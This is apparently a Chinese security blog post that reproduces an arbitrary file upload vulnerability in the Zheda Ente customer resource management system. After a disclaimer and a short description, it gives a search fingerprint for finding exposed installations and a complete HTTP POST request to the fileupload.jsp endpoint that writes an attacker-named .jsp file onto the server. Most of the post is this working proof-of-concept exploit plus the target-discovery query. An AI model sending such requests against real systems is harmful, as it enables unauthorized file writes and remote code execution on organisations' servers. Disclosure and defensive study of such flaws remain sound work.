【漏洞复现】浙大恩特客户资源管理系统任意文件上传

声明

该公众号大部分文章来自作者日常学习笔记，也有部分文章是经过作者授权和其他公众号白名单转载，未经授权，严禁转载，如需转载，联系开白。请勿利用文章内的相关技术从事非法测试，如因此产生的一切不良后果与文章作者和本公众号无关。

漏洞描述

浙大恩特客户资源管理系统中存在安全漏洞，允许攻击者向系统上传任意恶意JSP文件，从而可能导致潜在的远程执行代码攻击。该漏洞可能会对系统的完整性和安全性产生严重影响。

资产收集

web.title="欢迎使用浙大恩特客户资源管理系统"

漏洞复现

构造请求包

POST /entsoft_en/entereditor/jsp/fileupload.jsp?filename=8uxssX66eqrqtKObcVa0kid98xa.jsp HTTP/1.1Host: User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15Connection: closeContent-Length: 27Accept: */*Accept-Encoding: gzip, deflateAccept-Language: enContent-Type: application/x-www-form-urlencoded6455c77ef71a8d35